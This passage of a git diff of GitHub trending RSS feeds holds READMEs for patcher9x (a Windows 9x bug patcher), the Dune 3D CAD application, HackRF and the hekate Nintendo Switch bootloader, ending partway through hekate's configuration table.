systems:</p> <ul> <li>Windows 95</li> <li>Windows 98</li> <li>Windows 98 SE</li> <li>Windows Me</li> </ul> <p>Windows 95, 98 and 98 SE have the CPU speed limit bug. Windows 98 SE is a special case because it has "divide by zero" protection, but it also has a short loop test, so its timing information is probably useless and could potentially lead to other bugs.</p> <p>Windows 98, 98 SE and Me have the TLB invalidation bug. The Millennium edition has this bug in the code, but from my observation, the system calls this code very rarely (for example with driver install/system update), so the bug isn't as obvious as in Windows 98. An older version of my patcher program also has a special mode for Windows Me, but in the current version it is no longer needed.</p> <p>Some updates install newer version of some files, for example <code>VMM.VXD</code>: Q242161 (98 FE), Q288430 (98 SE), ME296773 (Me); <code>NTKERN.VXD</code>, <code>IOS.VXD</code>, <code>ESDI_506.PDR</code>, <code>SCSIPORT.PDR</code> and <code>NDIS.VXD</code>: Unofficial FIX95CPU. The patcher is compatible with these updates but is required to apply patches again after install. The best way is probably to run patcher from Windows (DOS or 32-bit version) before reboot - Windows 9x does not have any system files protection and you can overwrite system files in the running system. If you do not catch it and the system is rebooted to an error message, you will need to boot from a bootable floppy and start the patcher from it.</p> <h2>Updating</h2> <p>If you already applied this patch, you don't to need install patcher update - currently all the changes are for the patcher program, the patched code is the same. If you want to overwrite previous patches, you can safely run the patcher again and it automatically determines which files are suitable for patching and which are already patched.</p> <h2>Download</h2> <p>Binary files and bootable floppy image are in <a href="https://github.com/JHRobotics/patcher9x/releases/">Releases</a></p> <p>IMA file is a bootable floppy (FREEDOS) usable in a virtual machine to simple boot and patch the installed system. Binaries for win32 are Windows 98 compatible, so they can be run from safe mode (Hold CTRL on start-up). Binaries for other systems are for creating patched installation (in theory you can mount virtual HDD image and patch installed system on it, but doing it using boot the floppy is much simpler).</p> <p>The tool has also been packaged for Nix/NixOS: <code>$ nix develop nixpkgs#patcher9x</code> or <code>$ nix-shell -p patcher9x</code></p> <h2>Installation</h2> <p>The simplest way is by downloading bootable floppy image. After booting (you will see <code>A:\</code>), run:</p> <pre><code>patch9x </code></pre> <p>Patch will be run in interactive mode and the default strategy (<em>patch files, VMM32.VXD will be patched directly</em>) is probably the best way even for later updates. After rebooting operation system should start successfully.</p> <p><img src="https://raw.githubusercontent.com/JHRobotics/patcher9x/main/doc/intel-i5-1135.gif" alt="Successfuly working Windows 98 - Intel"></p> <p><img src="https://raw.githubusercontent.com/JHRobotics/patcher9x/main/doc/amd-5-3500u.png" alt="Successfuly working Windows 98 - AMD"></p> <h2>Operation modes</h2> <h3>Interactive mode</h3> <p>This is default mode, the program asking questions and user answear. You can just double click on EXE (or type <code>patch9x</code> to DOS command prompt) and program guide to you in patching process. For Linux build, the help is prinded if no arguments are given (default behaviour for UNIX programs) so you need specify <em>path</em>.</p> <h3>Automatic mode</h3> <p>Same as interactive but don't ask anything. Can be enabled with <code>-auto</code> switch and <em>path</em> to CAB files or 9x WINDOWS/SYSTEM directory needs to be specified.</p> <h3>Batch mode</h3> <p>In this mode program operate with single steps. Examples:</p> <p>Extract <code>VMM32.VXD</code> from instalation media</p> <pre><code>patcher9x --cabs-extract D:\WIN98 VMM32.VXD </code></pre> <p>Extract VMM.VXD from VMM32.VXD</p> <pre><code>patcher9x --vxd-extract VMM32.VXD VMM.VXD </code></pre> <p>Patch individual File</p> <pre><code>patcher9x --patch-tlb VMM.VXD </code></pre> <p>Patch VXD archive</p> <pre><code>patcher9x --patch-all VMM32.VXD </code></pre> <h2>Boot floppy</h2> <p>Boot floppy now contain CD driver and few utilities to prepare system disk. If you wish run Windows Installer from boot floppy, add <code>/NM</code> switch to <code>setup.exe</code> (because of different memory manager, the setup cannot determine real RAM size). Utilities are listed in <a href="https://raw.githubusercontent.com/JHRobotics/patcher9x/main/boot/info.txt">boot/info.txt</a>.</p> <h2>Patching installation media</h2> <p>Copy the content of <em>win9x</em> folder (or <em>win95</em> - for Windows 95 or <em>win98</em> - for Windows 98) from a CD / extract it from an ISO image. Then run:</p> <pre><code>patcher9x /path/to/folder/win98 </code></pre> <p>If the patch is successful, you can copy the modified files back to the image. These are the files marked with the 'N' flag in the patcher output. Or it will be one of these:</p> <ul> <li><code>VMM32.VXD</code></li> <li><code>VMM.VXD</code></li> <li><code>NTKERN.VXD</code></li> <li><code>IOS.VXD</code></li> <li><code>ESDI_506.PDR</code></li> <li><code>SCSIPORT.PDR</code></li> <li><code>NDIS.VXD</code></li> </ul> <p>The Windows installer primarily takes files from the installation folder and if it can't find them, it'll scan the CAB archives instead.</p> <p>For Windows 95, it is better to patch the installation media, or you will need to install the patch twice - after the first reboot and again after the installation of the network.</p> <p><strong>Please note, that file <code>VMM32.VXD</code> from installation IS NOT THE SAME as the file in <code>Windows/system</code> folder. Don't interchange them! See the <em>Patching process</em> section to know more about the VMM files.</strong></p> <h2>More informations</h2> <p>Check <strong>patcher9x</strong> thread at Vogons: <a href="https://www.vogons.org/viewtopic.php?f=24&amp;t=88284">https://www.vogons.org/viewtopic.php?f=24&amp;t=88284</a></p> <p>Check GPU driver for Windows 9x: <a href="https://github.com/JHRobotics/softgpu">https://github.com/JHRobotics/softgpu</a></p> <h2>Build from source</h2> <p>To build from source you need:</p> <ul> <li>GNU C compiler compatible C compiler (minimal version 4.6, MinGW or DJGPP works)</li> <li>Flat assembler (<a href="https://flatassembler.net/">https://flatassembler.net/</a>)</li> <li>GNU Make (minimal version 3.81)</li> </ul> <p>To build the binary for your computer, simply type:</p> <pre><code>make </code></pre> <p>To cross compile, specify the <code>HOST_CC</code> and <code>GUEST_CC</code> variables to choose compiler, for example cross compiling to 32bit Windows:</p> <pre><code>make HOST_CC=gcc GUEST_CC=mingw-w64-i686-gcc </code></pre> <p>To produce a production binary, add <code>RELEASE=1</code> to <code>make</code>.</p> <p>After compiling, you can strip the binary (reduce some space):</p> <pre><code>make strip </code></pre> <p>There is a special profile for DOS cross-compilation -- if you have DJGPP compiler, you can produce the DOS executable this way:</p> <pre><code>make RELEASE=1 PROFILE=djgpp make strip </code></pre> <p>MinGW compiled programs are linked with <code>msvcrt.dll</code> by default. To eliminate this depency (<code>msvcrt.dll</code> is missing all Windows 9x versions where isn't IE 4 or better), this project can use my <a href="https://github.com/JHRobotics/nocrt">NOCRT</a> library. Use <code>make PROFILE=nocrt</code> or <code>make PROFILE=nocrt64</code> to compile program for Windows with depency only to <code>kernel32.dll</code>.</p> <p><strong>Executable file name for most real operation systems is called <code>patcher9x</code>. For DOS, it is called <code>patch9x.exe</code> because file names are limited to 8+3 characters.</strong></p> <h2>Patching process</h2> <h3>TLB invalidation bug patching</h3> <p>The patch itself is relatively simple: injecting 2 instructions (<code>mov ecx,cr3</code> and <code>mov cr3,ecx</code>) to the code in the <code>VMM.VXD</code> driver. The patch totally modifies 29 bytes in this file (for Windows 98).</p> <p>The problem is that <code>VMM.VXD</code> isn't in a normal state on the HDD. <code>VMM.VXD</code> is a part of <code>VMM32.VXD</code> which is a compressed archive of several <code>VXD</code> drivers. <code>VMM32.VXD</code> isn't a generic file -- it is generated by the installer exclusively for your HW configuration.</p> <p>The system for loading drivers first searches in the <code>SYSTEM\VMM32</code> folder, and if the driver isn't there, it will search in the <code>VMM32.VXD</code> file.</p> <p>If you want to know more about the code, see file <a href="https://raw.githubusercontent.com/JHRobotics/patcher9x/main/vmm/FlushMappedCacheBlock.asm">FlushMappedCacheBlock.asm</a></p> <p><a href="https://raw.githubusercontent.com/JHRobotics/patcher9x/main/doc/VXDLIB_UTF8.txt">More info about W3/W4 files</a></p> <h3>CPU speed limit bug patching</h3> <p>In the beginning, I increased the number of cycles of older patches by 8 times (80 times more than the original code and in the case of NDIS.VXD, 100 times more than the original code). I also injected a small "divide by zero" protection, which looks like this:</p> <pre><code>VMMcall Get_System_Time ; original - system time (in ms) to EAX sub eax,esi ; original - compare with last time in ESI jnz skip_inc ; new - skip if result is non-zero inc eax ; new - increase zero result by one skip_inc: </code></pre> <p>There are two variants of this code - one for <code>NDIS.VXD</code> and one for all other system files.</p> <p>The new number of test cycles is now <em>80 000 000</em> -- in older patches it was <em>10 000 000</em>, but a 4-year-old Ryzen 5 1400 CPU only needs 3 ms to run it through, so if you have a CPU which is 3 times faster[^1] you could have a problem here.</p> <p>If you want to know more about the code, see file <a href="https://raw.githubusercontent.com/JHRobotics/patcher9x/main/cpuspeed/speed.inc">speed.inc</a></p> <p>[^1]: Single thread performance in <code>LOOP</code> instruction, number of cores, special instructions etc. are irrelevant.</p> <h2>Development</h2> <p>In future I would like include <del>patch "CPU speed limit" (95, 98 FE)</del> and patch 48-bit LBA (95, 98, ME). Memory limit patch I want include too.</p> + dune3d/dune3d + 2023-10-30T01:25:15Z + tag:github.com,2023-10-30:/dune3d/dune3d + + <p>3D CAD application</p><hr><h1>Dune 3D</h1> <p>Dune 3D is a parametric 3D CAD application that supports STEP import/export, fillets and chamfers.</p> <blockquote> <p>[!WARNING] It's still in early development, so don't be surprised if it's janky, missing important features or crashes when you look at it the wrong way.</p> </blockquote> <p><img src="https://raw.githubusercontent.com/dune3d/dune3d/main/screenshot.png" alt="Screenshot showing a PCB in a grey enclosure on a gradient background."></p> <h2>Motivation</h2> <p>So why another open-source 3D CAD application when FreeCAD and Solvespace exist? My primary use case for 3D CAD is designing 3D-printed enclosures for my electronics projects. I often found myself procrastinating designing the enclosure and attributed that to my dissatisfaction with the available open source 3D CAD applications.</p> <p>While FreeCAD technically does everything I need, the way it's implemented isn't quite to my liking. My biggest pain points with it are the modal sketcher that only works in 2D, no constraints in 3D for extrusions and the perils of referencing things in the design.</p> <p>Solvespace on the other hand gets the workflow part right, but falls short by not importing STEP and the geometry kernel not supporting chamfers and fillets.</p> <p>Having solved the similar problem for PCB CAD by developing Horizon EDA, I began pondering whether I could pull off the same thing for 3D CAD. After all, what does it take to make a 3D CAD?</p> <ul> <li>Geometry kernel to do extrusions, intersections, chamfers, etc.: While it's not a nice library to work with, Open CASCADE is the only viable choice if we want to have STEP import/export and fillets/chamfers. Fortunately, I have some experience with it from dealing with STEP files in Horizon EDA.</li> <li>3D viewport: Obviously, we need a way to put 3D geometry on screen, zoom/pan and select things. The 3D preview in Horizon EDA already does all of this, so I have a well-understood codebase I can reuse.</li> <li>Constraint solver: Unlike with Horizon EDA where things just stay where you last moved them, in 3D CAD, it's commonplace to specify where things go by means of constraints that need to be solved. Turns out that Solvespace's solver is available as a library[^1], so that part's also covered.</li> <li>Editor infrastructure: Last but not least, we need code that takes care of the tools, undo/redo and all of the other bits and pieces that make up an interactive editor. While there'll be some differences, I felt confident that I could reuse and adapt the interactive manipulator from Horizon EDA.</li> </ul> <p>With all of the building blocks available, I set out to glue them together to form a 3D CAD application. About three months later, it's somewhat presentable.</p> <p>[^1]: I ended up directly using solvespace's solver instead of the suggested <a href="https://github.com/solvespace/solvespace/raw/master/exposed/DOC.txt">wrapper code</a> since it didn't expose all of the features I needed. I also had to patch the solver to make it sufficiently fast for the kinds of equations I was generating by symbolically solving equations where applicable.</p> <h2>How to build</h2> <p>You're going to need these dependencies:</p> <ul> <li>gtkmm4</li> <li>libepoxy</li> <li>eigen</li> <li>opencascade (oce doesn't appear to compile)</li> <li>mimalloc</li> <li>glm</li> <li>range-v3</li> </ul> <p>Then run</p> <pre><code>meson setup build meson compile -C build </code></pre> <p>This should work on any reasonably up-to-date Linux distro, various BSDs and Windows using MSYS2.</p> <p>See <a href="https://raw.githubusercontent.com/dune3d/dune3d/main/.github/workflows/all.yml">the CI configuration</a> for the exact package names for debian-based distros and Arch Linux.</p> <blockquote> <p>[!IMPORTANT] Dune 3D is currently still alpha software undergoing rapid development, so please don't package it for your favourite distro yet. Users have expecations regarding stability and completeness towards packaged software that Dune 3D doesn't meet yet. Also having built it from source makes it easier to get the latest bugfixes and simplifies debugging.</p> </blockquote> <h2>How to use</h2> <p>Similar to Horizon EDA, all tools and actions are available from the spacebar menu.</p> <p>Use the "set workplane" tool to set a group's workplane.</p> <h2>Anticipated questions</h2> <h3>Where do I find sample files?</h3> <p>See the <a href="https://github.com/dune3d/samples">samples</a> repository.</p> <h3>Does it run on Windows?</h3> <p>Yes, build it using MSYS2.</p> <h3>Why not integrate it into Horizon EDA?</h3> <p>There's no place in Horizon EDA where a 3D CAD would make sense to implement. Also, I wanted to do some things differently and give Gtk 4 a try.</p> <h3>Why not improve Solvespace or FreeCAD?</h3> <p>Making FreeCAD paremteric in 3D or putting Open CASCADE into Solvespace seemed to be too big a change to pull off as an outside contributor to either project. I also really like writing CAD software, so here we are.</p> \ No newline at end of file diff --git a/c/weekly/index.xml b/c/weekly/index.xml deleted file mode 100644 index bb218ecb966..00000000000 --- a/c/weekly/index.xml +++ /dev/null @@ -1,28 +0,0 @@ - - GitHub C Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:48:14Z - Weekly Trending of C in GitHub - - - greatscottgadgets/hackrf - 2023-10-29T01:48:14Z - tag:github.com,2023-10-29:/greatscottgadgets/hackrf - - <p>low cost software radio platform</p><hr><h1>HackRF</h1> <p>This repository contains hardware designs and software for HackRF, a low cost, open source Software Defined Radio platform.</p> <p><img src="https://raw.github.com/mossmann/hackrf/master/docs/images/HackRF-One-fd0-0009.jpeg" alt="HackRF One"></p> <p>(photo by fd0 from <a href="https://github.com/fd0/hackrf-one-pictures">https://github.com/fd0/hackrf-one-pictures</a>)</p> <p>principal author: Michael Ossmann <a href="mailto:mike@ossmann.com">mike@ossmann.com</a></p> <p>Information on HackRF and purchasing HackRF: <a href="https://greatscottgadgets.com/hackrf/">https://greatscottgadgets.com/hackrf/</a></p> <hr> <h1>Documentation</h1> <p>Documentation for HackRF can be viewed on <a href="https://hackrf.readthedocs.io/en/latest/">Read the Docs</a>. The raw documentation files for HackRF are in the <a href="https://github.com/mossmann/hackrf/tree/master/docs">docs folder</a> in this repository and can be built locally by installing <a href="https://www.sphinx-doc.org/en/master/usage/installation.html">Sphinx Docs</a> and running <code>make html</code>. Documentation changes can be submitted through pull request and suggestions can be made as GitHub issues.</p> <p>To create a PDF of the HackRF documentation from the HackRF repository while on Ubuntu:</p> <ul> <li>run <code>sudo apt install latexmk texlive-latex-extra</code></li> <li>navigate to hackrf/docs on command line</li> <li>run the command <code>make latex</code></li> <li>run the command <code>make latexpdf</code></li> </ul> <hr> <h1>Getting Help</h1> <p>Before asking for help with HackRF, check to see if your question is listed in the <a href="https://hackrf.readthedocs.io/en/latest/faq.html">FAQ</a>.</p> <p>For assistance with HackRF general use or development, please look at the <a href="https://github.com/greatscottgadgets/hackrf/issues">issues on the GitHub project</a>. This is the preferred place to ask questions so that others may locate the answer to your question in the future.</p> <p>We invite you to join our community discussions on <a href="https://discord.gg/rsfMw3rsU8">Discord</a>. Note that while technical support requests are welcome here, we do not have support staff on duty at all times. Be sure to also submit an issue on GitHub if you've found a bug or if you want to ensure that your request will be tracked and not overlooked.</p> <p>If you wish to see past discussions and questions about HackRF, you may also view the <a href="https://pairlist9.pair.net/pipermail/hackrf-dev/">mailing list archives</a>.</p> <p>GitHub issues on this repository that are labelled "technical support" by Great Scott Gadgets employees can expect a response time of two weeks. We currently do not have expected response times for other GitHub issues or pull requests for this repository.</p> - - - CTCaer/hekate - 2023-10-29T01:48:14Z - tag:github.com,2023-10-29:/CTCaer/hekate - - <p>hekate - A GUI based Nintendo Switch Bootloader</p><hr><h1>hekate - Nyx</h1> <p><img src="https://user-images.githubusercontent.com/3665130/60391760-bc1e8c00-9afe-11e9-8b7a-b065873081b2.png" alt="Image of Hekate"></p> <p>Custom Graphical Nintendo Switch bootloader, firmware patcher, tools, and many more.</p> <ul> <li><a href="https://raw.githubusercontent.com/CTCaer/hekate/master/#features">Features</a></li> <li><a href="https://raw.githubusercontent.com/CTCaer/hekate/master/#bootloader-folders-and-files">Bootloader folders and files</a></li> <li><a href="https://raw.githubusercontent.com/CTCaer/hekate/master/#bootloader-configuration">Bootloader configuration</a> <ul> <li><a href="https://raw.githubusercontent.com/CTCaer/hekate/master/#hekate-global-configuration-keysvalues-when-entry-is-config">hekate global Configuration keys/values</a></li> <li><a href="https://raw.githubusercontent.com/CTCaer/hekate/master/#boot-entry-keyvalue-combinations">Boot entry key/value combinations</a></li> <li><a href="https://raw.githubusercontent.com/CTCaer/hekate/master/#boot-entry-keyvalue-combinations-for-exosph%C3%A8re">Boot entry key/value combinations for Exosphère</a></li> <li><a href="https://raw.githubusercontent.com/CTCaer/hekate/master/#payload-storage">Payload storage</a></li> <li><a href="https://raw.githubusercontent.com/CTCaer/hekate/master/#nyx-configuration-keysvalues-nyxini">Nyx Configuration keys/values</a></li> </ul> </li> </ul> <h2>Features</h2> <ul> <li><strong>Fully Configurable and Graphical</strong> with Touchscreen and Joycon input support</li> <li><strong>Launcher Style, Background and Color Themes</strong></li> <li><strong>HOS (Switch OS) Bootloader</strong> -- For CFW Sys/Emu, OFW Sys and Stock Sys</li> <li><strong>Android &amp; Linux Bootloader</strong></li> <li><strong>Payload Launcher</strong></li> <li><strong>eMMC/emuMMC Backup/Restore Tools</strong></li> <li><strong>SD Card Partition Manager</strong> -- Prepares and formats SD Card for any combo of HOS (Sys/emuMMC), Android and Linux</li> <li><strong>emuMMC Creation &amp; Manager</strong> -- Can also migrate and fix existing emuMMC</li> <li><strong>Switch Android &amp; Linux flasher</strong></li> <li><strong>USB Mass Storage (UMS) for SD/eMMC/emuMMC</strong> -- Converts Switch into a SD Card Reader</li> <li><strong>USB Gamepad</strong> -- Converts Switch with Joycon into a USB HID Gamepad</li> <li><strong>Hardware and Peripherals info</strong> (SoC, Fuses, RAM, Display, Touch, eMMC, SD, Battery, PSU, Charger)</li> <li><strong>Many other tools</strong> like Archive Bit Fixer, Touch Calibration, SD/eMMC Benchmark, AutoRCM enabler and more</li> </ul> <h2>Bootloader folders and files</h2> <table> <thead> <tr> <th>Folder/File</th> <th>Description</th> </tr> </thead> <tbody> <tr> <td>bootloader</td> <td>Main folder.</td> </tr> <tr> <td>|__ bootlogo.bmp</td> <td>It is used if no <code>logopath</code> key is found. User provided. Can be skipped.</td> </tr> <tr> <td>|__ hekate_ipl.ini</td> <td>Main bootloader configuration and boot entries in <code>Launch</code> menu.</td> </tr> <tr> <td>|__ nyx.ini</td> <td>Nyx GUI configuration</td> </tr> <tr> <td>|__ patches.ini</td> <td>Add external patches. Can be skipped. A template can be found <a href="https://raw.githubusercontent.com/CTCaer/hekate/master/res/patches_template.ini">here</a></td> </tr> <tr> <td>|__ update.bin</td> <td>If newer, it is loaded at boot. Normally for modchips. Auto updated and created at first boot.</td> </tr> <tr> <td>bootloader/ini/</td> <td>For individual inis. <code>More configs</code> menu. Autoboot is supported.</td> </tr> <tr> <td>bootloader/res/</td> <td>Nyx user resources. Icons and more.</td> </tr> <tr> <td>|__ background.bmp</td> <td>Nyx - Custom background. User provided.</td> </tr> <tr> <td>|__ icon_switch.bmp</td> <td>Nyx - Default icon for CFWs.</td> </tr> <tr> <td>|__ icon_payload.bmp</td> <td>Nyx - Default icon for Payloads.</td> </tr> <tr> <td>bootloader/sys/</td> <td>hekate and Nyx system modules folder.</td> </tr> <tr> <td>|__ emummc.kipm</td> <td>emuMMC KIP1 module. !Important!</td> </tr> <tr> <td>|__ libsys_lp0.bso</td> <td>LP0 (sleep mode) module. Important!</td> </tr> <tr> <td>|__ libsys_minerva.bso</td> <td>Minerva Training Cell. Used for DRAM Frequency training. !Important!</td> </tr> <tr> <td>|__ nyx.bin</td> <td>Nyx - hekate's GUI. !Important!</td> </tr> <tr> <td>|__ res.pak</td> <td>Nyx resources package. !Important!</td> </tr> <tr> <td>|__ thk.bin</td> <td>Atmosphère Tsec Hovi Keygen. !Important!</td> </tr> <tr> <td>bootloader/screenshots/</td> <td>Folder where Nyx screenshots are saved</td> </tr> <tr> <td>bootloader/payloads/</td> <td>For the <code>Payloads</code> menu. All CFW bootloaders, tools, Linux payloads are supported. Autoboot only supported by including them into an ini.</td> </tr> <tr> <td>bootloader/libtools/</td> <td>Reserved</td> </tr> </tbody> </table> <h2>Bootloader configuration</h2> <p>The bootloader can be configured via 'bootloader/hekate_ipl.ini' (if it is present on the SD card). Each ini section represents a boot entry, except for the special section 'config' that controls the global configuration.</p> <p>There are four possible type of entries. "<strong>[ ]</strong>": Boot entry, "<strong>{ }</strong>": Caption, "<strong>#</strong>": Comment, "<em>newline</em>": .ini cosmetic newline.</p> <p><strong>You can find a template <a href="https://raw.githubusercontent.com/CTCaer/hekate/master/res/hekate_ipl_template.ini">Here</a></strong></p> <h3>hekate Global Configuration keys/values (when entry is <em>[config]</em>):</h3> <table> <thead> <tr> <th>Config option</th> <th>Description</th> </tr> </thead> <tbody> <tr> <td>autoboot=0</td> <td>0: Disable, #: Boot entry number to auto boot.</td> </tr> <tr> <td>autoboot_list=0</td> <td>0: Read <code>autoboot</code> boot entry from hekate_ipl.ini, 1: Read from ini folder (ini files are ASCII ordered).</td> </tr> <tr> <td>bootwait=3</td> <td>0: Disable (It also disables bootlogo. Having <strong>VOL-</strong> pressed since injection goes to menu.), #: Time to wait for <strong>VOL-</strong> to enter menu. Max: 20s.</td> </tr> <tr> <td>noticker=0</td> <td>0: Animated line is drawn during custom bootlogo, signifying time left to skip to menu. 1: Disable.</td> </tr> <tr> <td>autohosoff=1</td> <td>0: Disable, 1: If woke up from HOS via an RTC alarm, shows logo, then powers off completely, 2: No logo, immediately powers off.</td> </tr> <tr> <td>autonogc=1</td> <td>0: Disable, 1: Automatically applies nogc patch if unburnt fuses found and a &gt;= 4.0.0 HOS is booted.</td> </tr> <tr> <td>bootprotect=0</td> <td>0: Disable, 1: Protect bootloader folder from being corrupted by disallowing reading or editing in HOS.</td> </tr> <tr> <td>updater2p=0</td> <td>0: Disable, 1: Force updates (if needed) the reboot2payload binary to be hekate.</td> </tr> <tr> <td>backlight=100</td> <td>Screen backlight level. 0-255.</td> </tr> </tbody> </table> <h3>Boot entry key/value combinations:</h3> <table> <thead> <tr> <th>Config option</th> <th>Description</th> </tr> </thead> <tbody> <tr> <td>warmboot={FILE path}</td> <td>Replaces the warmboot binary</td> </tr> <tr> <td>secmon={FILE path}</td> <td>Replaces the security monitor binary</td> </tr> <tr> <td>kernel={FILE path}</td> <td>Replaces the kernel binary</td> </tr> <tr> <td>kip1={FILE path}</td> <td>Replaces/Adds kernel initial process. Multiple can be set.</td> </tr> <tr> <td>kip1={FOLDER path}/*</td> <td>Loads every .kip/.kip1 inside a folder. Compatible with single kip1 keys.</td> </tr> <tr> <td>fss0={FILE path}</td> <td>Takes an Atmosphere <code>package3</code> binary (formerly fusee-secondary.bin) and <code>extracts</code> all needed parts from it. kips, exosphere, warmboot and mesophere if enabled.</td> </tr> <tr> <td>fss0experimental=1</td> <td>Enables loading of experimental content from a FSS0 storage</td> </tr> <tr> <td>exofatal={FILE path}</td> <td>Replaces the exosphere fatal binary for Mariko</td> </tr> <tr> <td>----------------------</td> <td>----------------------------------------------------------</td> </tr> <tr> <td>kip1patch=patchname</td> <td>Enables a kip1 patch. Specify with multiple lines and/or in one line with <code>,</code> as separator. If actual patch is not found, a warning will show up</td> </tr> <tr> <td>emupath={FOLDER path}</td> <td>Forces emuMMC to use the selected one. (=emuMMC/RAW1, =emuMMC/SD00, etc). emuMMC must be created by hekate because it uses the raw_based/file_based files.</td> </tr> <tr> <td>emummcforce=1</td> <td>Forces the use of emuMMC. If emummc.ini is disabled or not found, then it causes an error.</td> </tr> <tr> <td>emummc_force_disable=1</td> <td>Disables emuMMC, if it's enabled.</td> </tr> <tr> <td>stock=1</td> <td>Disables unneeded kernel patching and CFW kips when running stock or semi-stock. <code>If emuMMC is enabled, emummc_force_disable=1</code> is required. emuMMC is not supported on stock. If additional KIPs are needed other than OFW's, you can define them with <code>kip1</code> key. No kip should be used that relies on Atmosphère patching, because it will hang. If <code>NOGC</code> is needed, use <code>kip1patch=nogc</code>.</td> </tr> <tr> <td>fullsvcperm=1</td> <td>Disables SVC verification (full services permission). Doesn't work with Mesosphere as kernel.</td> </tr> <tr> <td>debugmode=1</td> <td>Enables Debug mode. Obsolete when used with exosphere as secmon.</td> </tr> <tr> <td>atmosphere=1</td> <td>Enables Atmosphère patching. Not needed when <code>fss0</code> is used.</td> </tr> <tr> <td>----------------------</td> <td>----------------------------------------------------------</td> </tr> <tr> <td>payload={FILE path}</td> <td>Payload launching. Tools, Android/Linux, CFW bootloaders, etc. Any key above when used with that, doesn't get into account.</td> </tr> <tr> <td>----------------------</td> <td>----------------------------------------------------------</td> </tr> <tr> <td>l4t=1</td> <td>L4T Linux/Android native launching.</td> </tr> <tr> <td>boot_prefixes={FOLDER path}</td> <td>L4T bootstack directory.</td> </tr> <tr> <td>ram_oc=0</td> <td>L4T RAM Overclocking. Check README_CONFIG.txt for more info.</td> </tr> <tr> <td>ram_oc_vdd2=1100</td> <td>L4T RAM VDD2 Voltage. Set VDD2 (T210B01) or VDD2/VDDQ (T210) voltage. 1050-1175.</td> </tr> <tr> <td>ram_oc_vddq=600</td> <td>L4T RAM VDDQ Voltage. Set VDDQ (T210B01). 550-650.</td> </tr> <tr> <td>uart_port=0</td> <td>Enables logging on serial port for L4T uboot/kernel.</td> </tr> <tr> <td>Additional keys</td> <td>Each distro supports more keys. Check README_CONFIG.txt for more info.</td> </tr> <tr> <td>----------------------</td> <td>----------------------------------------------------------</td> </tr> <tr> <td>bootwait=3</td> <td>Overrides global bootwait from <code>[config]</code>.</td> </tr> <tr> <td>id=IDNAME</td> <td>Identifies boot entry for forced boot via id. Max 7 chars.</td> </tr> <tr> <td>logopath={FILE path}</td> <td>If it exists, it will load the specified bitmap. Otherwise <code>bootloader/bootlogo.bmp</code> will be used if exists</td> </tr> <tr> <td>icon={FILE path}</td> <td>Force Nyx to use the icon defined here. If this is not found, it will check for a bmp named as the boot entry ([Test 2] -&gt; <code>bootloader/res/Test 2.bmp</code>). Otherwise defaults will be used.</td> </tr> </tbody> </table> <p><strong>Note1</strong>: When using the wildcard (<code>/*</code>) with <code>kip1</code> you can still use the normal <code>kip1</code> after that to load extra single kips.</p> <p><strong>Note2</strong>: When using FSS0 it parses exosphere, warmboot and all core kips. You can override the first 2 by using <code>secmon</code>/<code>warmboot</code> after defining <code>fss0</code>. You can define <code>kip1</code> to load an extra kip or many via the wildcard (<code>/*</code>) usage.</p> <p><strong>Warning</strong>: Careful when you define <em>fss0 core</em> kips when using <code>fss0</code> or the folder (when using <code>/*</code>) includes them. This is in case the kips are incompatible between them. If compatible, you can override <code>fss0</code> kips with no issues (useful for testing with intermediate kip changes). In such cases, the <code>kip1</code> line must be under <code>fss0</code> line.</p> <h3>Boot entry key/value combinations for Exosphère:</h3> <table> <thead> <tr> <th>Config option</th> <th>Description</th> </tr> </thead> <tbody> <tr> <td>nouserexceptions=1</td> <td>Disables usermode exception handlers when paired with Exosphère.</td> </tr> <tr> <td>userpmu=1</td> <td>Enables user access to PMU when paired with Exosphère.</td> </tr> <tr> <td>cal0blank=1</td> <td>Overrides Exosphère config <code>blank_prodinfo_{sys/emu}mmc</code>. If that key doesn't exist, <code>exosphere.ini</code> will be used.</td> </tr> <tr> <td>cal0writesys=1</td> <td>Overrides Exosphère config <code>allow_writing_to_cal_sysmmc</code>. If that key doesn't exist, <code>exosphere.ini</code> will be used.</td> </tr> <tr> <td>usb3force=1</td> <td>Overrides system settings mitm config <code>usb30_force_enabled</code>. If that key doesn't exist, <code>system_settings.ini</code> will be used.</td> </tr> </tbody> </table> <p><strong>Note</strong>: <code>cal0blank</code>, <code>cal0writesys</code>, <code>usb3force</code>, as stated override the <code>exosphere.ini</code> or <code>system_settings.ini</code>. 0: Disable, 1: Enable, Key Missing: Use original value.</p> <p><strong>Note2</strong>: <code>blank_prodinfo_{sys/emu}mmc</code>, <code>allow_writing_to_cal_sysmmc</code> and <code>usb30_force_enabled</code> in <code>exosphere.ini</code> and <code>system_settings.ini</code> respectively, are the only atmosphere config keys that can affect hekate booting configuration externally, <strong>if</strong> the equivalent keys in hekate config are missing.</p> <h3>Payload storage:</h3> <p>hekate has a boot storage in the binary that helps it configure it outside of BPMP enviroment:</p> <table> <thead> <tr> <th>Offset / Name</th> <th>Description</th> </tr> </thead> <tbody> <tr> <td>'0x94' boot_cfg</td> <td>bit0: <code>Force AutoBoot</code>, bit1: <code>Show launch log</code>, bit2: <code>Boot from ID</code>, bit3: <code>Boot to emuMMC</code>.</td> </tr> <tr> <td>'0x95' autoboot</td> <td>If <code>Force AutoBoot</code>, 0: Force go to menu, else boot that entry.</td> </tr> <tr> <td>'0x96' autoboot_list</td> <td>If <code>Force AutoBoot</code> and <code>autoboot</code> then it boots from ini folder.</td> </tr> <tr> <td>'0x97' extra_cfg</td> <td>When menu is forced: bit5: <code>Run UMS</code>.</td> </tr> <tr> <td>'0x98' xt_str[128]</td> <td>Depends on the set cfg bits.</td> </tr> <tr> <td>'0x98' ums[1]</td> <td>When <code>Run UMS</code> is set, it will launch the selected UMS. 0: SD, 1: eMMC BOOT0, 2: eMMC BOOT1, 3: eMMC GPP, 4: emuMMC BOOT0, 5: emuMMC BOOT1, 6: emuMMC GPP,</td> </tr> <tr> <td>'0x98' id[8]</td> <td>When <code>Boot from ID</code> is set, it will search all inis automatically and find the boot entry with that id and boot it. Must be NULL terminated.</td> </tr> <tr> <td>'0xA0' emummc_path[120]</td> <td>When <code>Boot to emuMMC</code> is set, it will override the current emuMMC (boot entry or emummc.ini). Must be NULL terminated.</td> </tr> </tbody> </table> <h3>Nyx Configuration keys/values (nyx.ini):</h3> <table> <thead> <tr> <th>Config option</th> <th>Description</th> </tr> </thead> <tbody> <tr> <td>themebg=2d2d2d</td> <td>Sets Nyx background color in HEX. EXPERIMENTAL.</td> </tr> <tr> <td>themecolor=167</td> <td>Sets Nyx color of text highlights.</td> </tr> <tr> <td>entries5col=0</td> 